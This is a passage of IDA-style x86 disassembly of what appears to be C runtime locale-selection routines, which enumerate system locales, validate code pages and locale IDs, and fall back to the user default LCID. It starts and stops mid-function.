		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp-20h], eax
		jg	short loc_42D111
		mov	ecx, [ebp-20h]
		mov	edx, [ebp-30h]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_42D0EC
; ---------------------------------------------------------------------------


loc_42D111:				; CODE XREF: .data:0042D100j
		jmp	short loc_42D0C0
; ---------------------------------------------------------------------------


loc_42D113:				; CODE XREF: .data:0042D0B6j
					; .data:0042D0D2j ...
		mov	eax, [ebp-30h]
		add	eax, 2
		mov	off_447274, eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 2
		mov	off_447278, ecx
		cmp	dword_4DE1DC, 0
		jz	short loc_42D144
		push	2
		mov	edx, dword_4DE1DC
		push	edx
		call	sub_415C60
		add	esp, 8


loc_42D144:				; CODE XREF: .data:0042D131j
		mov	eax, [ebp-30h]
		mov	dword_4DE1DC, eax
		cmp	dword_4DE1E0, 0
		jz	short loc_42D166
		push	2
		mov	ecx, dword_4DE1E0
		push	ecx
		call	sub_415C60
		add	esp, 8


loc_42D166:				; CODE XREF: .data:0042D153j
		mov	edx, [ebp-1Ch]
		mov	dword_4DE1E0, edx
		push	2
		mov	eax, [ebp-2Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp-28h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		xor	eax, eax
		jmp	loc_42D21C
; ---------------------------------------------------------------------------


loc_42D192:				; CODE XREF: .data:0042CECBj
					; .data:loc_42CF4Cj ...
		push	2
		mov	edx, [ebp-30h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp-2Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp-28h]
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42D21C
; ---------------------------------------------------------------------------


loc_42D1D1:				; CODE XREF: .data:0042CE9Bj
		mov	off_447274, offset word_44727E
		mov	off_447278, offset word_44727E
		push	2
		mov	eax, dword_4DE1DC
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, dword_4DE1E0
		push	ecx
		call	sub_415C60
		add	esp, 8
		mov	dword_4DE1DC, 0
		mov	dword_4DE1E0, 0
		xor	eax, eax


loc_42D21C:				; CODE XREF: .data:0042D18Dj
					; .data:0042D1CFj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D220	proc near		; DATA XREF: .data:00447974o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42D220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D230	proc near		; CODE XREF: .data:00426D1Ep
					; sub_4273D0+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42D244:				; CODE XREF: sub_42D230+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42D251
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42D244
; ---------------------------------------------------------------------------


loc_42D251:				; CODE XREF: sub_42D230+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop


loc_42D258:				; CODE XREF: sub_42D230+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_42D266
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42D258


loc_42D266:				; CODE XREF: sub_42D230+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42D230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D270	proc near		; CODE XREF: .data:00426C3Dp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42D284:				; CODE XREF: sub_42D270+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42D291
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42D284
; ---------------------------------------------------------------------------


loc_42D291:				; CODE XREF: sub_42D270+18j
		mov	esi, [ebp+arg_0]


loc_42D294:				; CODE XREF: sub_42D270+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_42D2A4
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42D294
		lea	eax, [esi-1]


loc_42D2A4:				; CODE XREF: sub_42D270+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42D270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D2B0	proc near		; CODE XREF: sub_4271E0+D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4DE228, 0
		jnz	short loc_42D2E2
		call	sub_42DD80
		test	eax, eax
		jz	short loc_42D2D2
		mov	eax, dword_4E0398
		mov	[ebp+var_8], eax
		jmp	short loc_42D2D9
; ---------------------------------------------------------------------------


loc_42D2D2:				; CODE XREF: sub_42D2B0+16j
		mov	[ebp+var_8], offset sub_42DDD0


loc_42D2D9:				; CODE XREF: sub_42D2B0+20j
		mov	ecx, [ebp+var_8]
		mov	dword_4DE228, ecx


loc_42D2E2:				; CODE XREF: sub_42D2B0+Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42D2F2
		call	sub_42DBD0
		jmp	loc_42D3BE
; ---------------------------------------------------------------------------


loc_42D2F2:				; CODE XREF: sub_42D2B0+36j
		mov	edx, [ebp+arg_0]
		mov	dword_4DE218, edx
		cmp	dword_4DE218, 0
		jz	short loc_42D324
		mov	eax, dword_4DE218
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42D324
		push	offset dword_4DE218
		push	40h
		push	offset off_4480A0
		call	sub_42D4B0
		add	esp, 0Ch


loc_42D324:				; CODE XREF: sub_42D2B0+52j
					; sub_42D2B0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		mov	dword_4DE21C, edx
		cmp	dword_4DE21C, 0
		jz	short loc_42D359
		mov	eax, dword_4DE21C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42D359
		push	offset dword_4DE21C
		push	16h
		push	offset off_447FE8
		call	sub_42D4B0
		add	esp, 0Ch


loc_42D359:				; CODE XREF: sub_42D2B0+87j
					; sub_42D2B0+93j
		mov	dword_4DE220, 0
		cmp	dword_4DE218, 0
		jz	short loc_42D39D
		mov	edx, dword_4DE218
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42D39D
		cmp	dword_4DE21C, 0
		jz	short loc_42D396
		mov	ecx, dword_4DE21C
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42D396
		call	sub_42D540
		jmp	short loc_42D39B
; ---------------------------------------------------------------------------


loc_42D396:				; CODE XREF: sub_42D2B0+D0j
					; sub_42D2B0+DDj
		call	sub_42D930


loc_42D39B:				; CODE XREF: sub_42D2B0+E4j
		jmp	short loc_42D3BE
; ---------------------------------------------------------------------------


loc_42D39D:				; CODE XREF: sub_42D2B0+BAj
					; sub_42D2B0+C7j
		cmp	dword_4DE21C, 0
		jz	short loc_42D3B9
		mov	eax, dword_4DE21C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42D3B9
		call	sub_42DAD0
		jmp	short loc_42D3BE
; ---------------------------------------------------------------------------


loc_42D3B9:				; CODE XREF: sub_42D2B0+F4j
					; sub_42D2B0+100j
		call	sub_42DBD0


loc_42D3BE:				; CODE XREF: sub_42D2B0+3Dj
					; sub_42D2B0:loc_42D39Bj ...
		cmp	dword_4DE220, 0
		jnz	short loc_42D3CE
		xor	eax, eax
		jmp	loc_42D4AC
; ---------------------------------------------------------------------------


loc_42D3CE:				; CODE XREF: sub_42D2B0+115j
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_42DC00
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42D3FC
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		push	eax
		call	dword_4E02F0	; IsValidCodePage
		test	eax, eax
		jnz	short loc_42D403


loc_42D3FC:				; CODE XREF: sub_42D2B0+137j
		xor	eax, eax
		jmp	loc_42D4AC
; ---------------------------------------------------------------------------


loc_42D403:				; CODE XREF: sub_42D2B0+14Aj
		push	1
		mov	ecx, dword_4DE208
		push	ecx
		call	dword_4E02F4	; IsValidLocale
		test	eax, eax
		jnz	short loc_42D41D
		xor	eax, eax
		jmp	loc_42D4AC
; ---------------------------------------------------------------------------


loc_42D41D:				; CODE XREF: sub_42D2B0+164j
		cmp	[ebp+arg_4], 0
		jz	short loc_42D448
		mov	edx, [ebp+arg_4]
		mov	ax, word ptr dword_4DE208
		mov	[edx], ax
		mov	ecx, [ebp+arg_4]
		mov	dx, word ptr dword_4DE224
		mov	[ecx+2], dx
		mov	eax, [ebp+arg_4]
		mov	cx, word ptr [ebp+var_4]
		mov	[eax+4], cx


loc_42D448:				; CODE XREF: sub_42D2B0+171j
		cmp	[ebp+arg_8], 0
		jz	short loc_42D4A7
		push	40h
		mov	edx, [ebp+arg_8]
		push	edx
		push	1001h
		mov	eax, dword_4DE208
		push	eax
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42D46D
		xor	eax, eax
		jmp	short loc_42D4AC
; ---------------------------------------------------------------------------


loc_42D46D:				; CODE XREF: sub_42D2B0+1B7j
		push	40h
		mov	ecx, [ebp+arg_8]
		add	ecx, 40h
		push	ecx
		push	1002h
		mov	edx, dword_4DE224
		push	edx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42D490
		xor	eax, eax
		jmp	short loc_42D4AC
; ---------------------------------------------------------------------------


loc_42D490:				; CODE XREF: sub_42D2B0+1DAj
		push	0Ah
		mov	eax, [ebp+arg_8]
		add	eax, 80h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_428B70
		add	esp, 0Ch


loc_42D4A7:				; CODE XREF: sub_42D2B0+19Cj
		mov	eax, 1


loc_42D4AC:				; CODE XREF: sub_42D2B0+119j
					; sub_42D2B0+14Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42D2B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D4B0	proc near		; CODE XREF: sub_42D2B0+6Cp
					; sub_42D2B0+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0


loc_42D4C4:				; CODE XREF: sub_42D4B0:loc_42D52Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_42D52E
		cmp	[ebp+var_8], 0
		jz	short loc_42D52E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_431210
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42D512
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_42D52C
; ---------------------------------------------------------------------------


loc_42D512:				; CODE XREF: sub_42D4B0+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_42D523
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_42D52C
; ---------------------------------------------------------------------------


loc_42D523:				; CODE XREF: sub_42D4B0+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42D52C:				; CODE XREF: sub_42D4B0+60j
					; sub_42D4B0+71j
		jmp	short loc_42D4C4
; ---------------------------------------------------------------------------


loc_42D52E:				; CODE XREF: sub_42D4B0+1Aj
					; sub_42D4B0+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D540	proc near		; CODE XREF: sub_42D2B0+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE218
		push	eax
		call	sub_414EC0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DE214, ecx
		mov	edx, dword_4DE21C
		push	edx
		call	sub_414EC0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DE20C, ecx
		mov	dword_4DE208, 0
		cmp	dword_4DE214, 0
		jz	short loc_42D599
		mov	[ebp+var_4], 2
		jmp	short loc_42D5AB
; ---------------------------------------------------------------------------


loc_42D599:				; CODE XREF: sub_42D540+4Ej
		mov	edx, dword_4DE218
		push	edx
		call	sub_42DFE0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42D5AB:				; CODE XREF: sub_42D540+57j
		mov	eax, [ebp+var_4]
		mov	dword_4DE210, eax
		push	1
		push	offset sub_42D600
		call	dword_4E02EC	; EnumSystemLocalesA
		mov	ecx, dword_4DE220
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_42D5EC
		mov	edx, dword_4DE220
		and	edx, 200h
		test	edx, edx
		jz	short loc_42D5EC
		mov	eax, dword_4DE220
		and	eax, 7
		test	eax, eax
		jnz	short loc_42D5F6


loc_42D5EC:				; CODE XREF: sub_42D540+8Ej
					; sub_42D540+9Ej
		mov	dword_4DE220, 0


loc_42D5F6:				; CODE XREF: sub_42D540+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_42D540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D600	proc near		; DATA XREF: sub_42D540+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DF60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE20C
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42D654
		mov	dword_4DE220, 0
		mov	eax, 1
		jmp	loc_42D91E
; ---------------------------------------------------------------------------


loc_42D654:				; CODE XREF: sub_42D600+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE21C
		push	edx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	loc_42D78F
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DE214
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42D6AE
		mov	dword_4DE220, 0
		mov	eax, 1
		jmp	loc_42D91E
; ---------------------------------------------------------------------------


loc_42D6AE:				; CODE XREF: sub_42D600+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DE218
		push	ecx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D6F0
		mov	edx, dword_4DE220
		or	edx, 304h
		mov	dword_4DE220, edx
		mov	eax, [ebp+var_7C]
		mov	dword_4DE224, eax
		mov	ecx, dword_4DE224
		mov	dword_4DE208, ecx
		jmp	loc_42D78F
; ---------------------------------------------------------------------------


loc_42D6F0:				; CODE XREF: sub_42D600+C3j
		mov	edx, dword_4DE220
		and	edx, 2
		test	edx, edx
		jnz	loc_42D78F
		cmp	dword_4DE210, 0
		jz	short loc_42D75D
		mov	eax, dword_4DE210
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE218
		push	edx
		call	sub_4312E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D75D
		mov	eax, dword_4DE220
		or	al, 2
		mov	dword_4DE220, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE224, ecx
		mov	edx, dword_4DE218
		push	edx
		call	sub_414EC0
		add	esp, 4
		cmp	eax, dword_4DE210
		jnz	short loc_42D75B
		mov	eax, [ebp+var_7C]
		mov	dword_4DE208, eax


loc_42D75B:				; CODE XREF: sub_42D600+151j
		jmp	short loc_42D78F
; ---------------------------------------------------------------------------


loc_42D75D:				; CODE XREF: sub_42D600+108j
					; sub_42D600+125j
		mov	ecx, dword_4DE220
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42D78F
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_42DCA0
		add	esp, 4
		test	eax, eax
		jz	short loc_42D78F
		mov	eax, dword_4DE220
		or	al, 1
		mov	dword_4DE220, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE224, ecx


loc_42D78F:				; CODE XREF: sub_42D600+69j
					; sub_42D600+EBj ...
		mov	edx, dword_4DE220
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_42D911
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DE214
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42D7E6
		mov	dword_4DE220, 0
		mov	eax, 1
		jmp	loc_42D91E
; ---------------------------------------------------------------------------


loc_42D7E6:				; CODE XREF: sub_42D600+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DE218
		push	ecx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	loc_42D8B0
		mov	edx, dword_4DE220
		or	dh, 2
		mov	dword_4DE220, edx
		cmp	dword_4DE214, 0
		jz	short loc_42D83A
		mov	eax, dword_4DE220
		or	ah, 1
		mov	dword_4DE220, eax
		cmp	dword_4DE208, 0
		jnz	short loc_42D838
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE208, ecx


loc_42D838:				; CODE XREF: sub_42D600+22Dj
		jmp	short loc_42D8AE
; ---------------------------------------------------------------------------


loc_42D83A:				; CODE XREF: sub_42D600+217j
		cmp	dword_4DE210, 0
		jz	short loc_42D88F
		mov	edx, dword_4DE218
		push	edx
		call	sub_414EC0
		add	esp, 4
		cmp	eax, dword_4DE210
		jnz	short loc_42D88F
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42DCF0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D88D
		mov	ecx, dword_4DE220
		or	ch, 1
		mov	dword_4DE220, ecx
		cmp	dword_4DE208, 0
		jnz	short loc_42D88D
		mov	edx, [ebp+var_7C]
		mov	dword_4DE208, edx


loc_42D88D:				; CODE XREF: sub_42D600+26Aj
					; sub_42D600+282j
		jmp	short loc_42D8AE
; ---------------------------------------------------------------------------


loc_42D88F:				; CODE XREF: sub_42D600+241j
					; sub_42D600+258j
		mov	eax, dword_4DE220
		or	ah, 1
		mov	dword_4DE220, eax
		cmp	dword_4DE208, 0
		jnz	short loc_42D8AE
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE208, ecx


loc_42D8AE:				; CODE XREF: sub_42D600:loc_42D838j
					; sub_42D600:loc_42D88Dj ...
		jmp	short loc_42D911
; ---------------------------------------------------------------------------


loc_42D8B0:				; CODE XREF: sub_42D600+1FBj
		cmp	dword_4DE214, 0
		jnz	short loc_42D911
		cmp	dword_4DE210, 0
		jz	short loc_42D911
		mov	edx, dword_4DE210
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DE218
		push	ecx
		call	sub_4312E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D911
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_42DCF0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D911
		mov	eax, dword_4DE220
		or	ah, 1
		mov	dword_4DE220, eax
		cmp	dword_4DE208, 0
		jnz	short loc_42D911
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE208, ecx


loc_42D911:				; CODE XREF: sub_42D600+1A1j
					; sub_42D600:loc_42D8AEj ...
		mov	eax, dword_4DE220
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42D91E:				; CODE XREF: sub_42D600+4Fj
					; sub_42D600+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42D600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D930	proc near		; CODE XREF: sub_42D2B0:loc_42D396p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE218
		push	eax
		call	sub_414EC0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DE214, ecx
		cmp	dword_4DE214, 0
		jz	short loc_42D962
		mov	[ebp+var_4], 2
		jmp	short loc_42D974
; ---------------------------------------------------------------------------


loc_42D962:				; CODE XREF: sub_42D930+27j
		mov	edx, dword_4DE218
		push	edx
		call	sub_42DFE0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42D974:				; CODE XREF: sub_42D930+30j
		mov	eax, [ebp+var_4]
		mov	dword_4DE210, eax
		push	1
		push	offset sub_42D9B0
		call	dword_4E02EC	; EnumSystemLocalesA
		mov	ecx, dword_4DE220
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_42D9A0
		mov	dword_4DE220, 0


loc_42D9A0:				; CODE XREF: sub_42D930+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D9B0	proc near		; DATA XREF: sub_42D930+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DF60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE214
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42DA04
		mov	dword_4DE220, 0
		mov	eax, 1
		jmp	loc_42DAC9
; ---------------------------------------------------------------------------


loc_42DA04:				; CODE XREF: sub_42D9B0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE218
		push	edx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DA59
		cmp	dword_4DE214, 0
		jnz	short loc_42DA36
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42DCF0
		add	esp, 8
		test	eax, eax
		jz	short loc_42DA57


loc_42DA36:				; CODE XREF: sub_42D9B0+72j
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE224, ecx
		mov	edx, dword_4DE224
		mov	dword_4DE208, edx
		mov	eax, dword_4DE220
		or	al, 4
		mov	dword_4DE220, eax


loc_42DA57:				; CODE XREF: sub_42D9B0+84j
		jmp	short loc_42DABC
; ---------------------------------------------------------------------------


loc_42DA59:				; CODE XREF: sub_42D9B0+69j
		cmp	dword_4DE214, 0
		jnz	short loc_42DABC
		cmp	dword_4DE210, 0
		jz	short loc_42DABC
		mov	ecx, dword_4DE210
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, dword_4DE218
		push	eax
		call	sub_4312E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DABC
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_42DCF0
		add	esp, 8
		test	eax, eax
		jz	short loc_42DABC
		mov	edx, [ebp+var_7C]
		mov	dword_4DE224, edx
		mov	eax, dword_4DE224
		mov	dword_4DE208, eax
		mov	ecx, dword_4DE220
		or	ecx, 4
		mov	dword_4DE220, ecx


loc_42DABC:				; CODE XREF: sub_42D9B0:loc_42DA57j
					; sub_42D9B0+B0j ...
		mov	eax, dword_4DE220
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42DAC9:				; CODE XREF: sub_42D9B0+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42D9B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAD0	proc near		; CODE XREF: sub_42D2B0+102p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DE21C
		push	eax
		call	sub_414EC0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DE20C, ecx
		push	1
		push	offset sub_42DB20
		call	dword_4E02EC	; EnumSystemLocalesA
		mov	edx, dword_4DE220
		and	edx, 4
		test	edx, edx
		jnz	short loc_42DB13
		mov	dword_4DE220, 0


loc_42DB13:				; CODE XREF: sub_42DAD0+37j
		pop	ebp
		retn
sub_42DAD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB20	proc near		; DATA XREF: sub_42DAD0+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DF60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE20C
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42DB71
		mov	dword_4DE220, 0
		mov	eax, 1
		jmp	short loc_42DBC6
; ---------------------------------------------------------------------------


loc_42DB71:				; CODE XREF: sub_42DB20+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DE21C
		push	edx
		call	sub_431210
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DBB9
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_42DCA0
		add	esp, 4
		test	eax, eax
		jz	short loc_42DBB9
		mov	ecx, [ebp+var_7C]
		mov	dword_4DE224, ecx
		mov	edx, dword_4DE224
		mov	dword_4DE208, edx
		mov	eax, dword_4DE220
		or	al, 4
		mov	dword_4DE220, eax


loc_42DBB9:				; CODE XREF: sub_42DB20+66j
					; sub_42DB20+76j
		mov	eax, dword_4DE220
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_42DBC6:				; CODE XREF: sub_42DB20+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42DB20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DBD0	proc near		; CODE XREF: sub_42D2B0+38p
					; sub_42D2B0:loc_42D3B9p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DE220
		or	eax, 104h
		mov	dword_4DE220, eax
		call	dword_4E02E8	; GetUserDefaultLCID
		mov	dword_4DE224, eax
		mov	ecx, dword_4DE224
		mov	dword_4DE208, ecx
		pop	ebp
		retn
sub_42DBD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC00	proc near		; CODE XREF: sub_42D2B0+128p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_42DC2B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42DC2B
		push	offset aAcp	; "ACP"
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DC53


loc_42DC2B:				; CODE XREF: sub_42DC00+Aj
					; sub_42DC00+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, dword_4DE224
		push	ecx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42DC4B
		xor	eax, eax
		jmp	short loc_42DC97
; ---------------------------------------------------------------------------


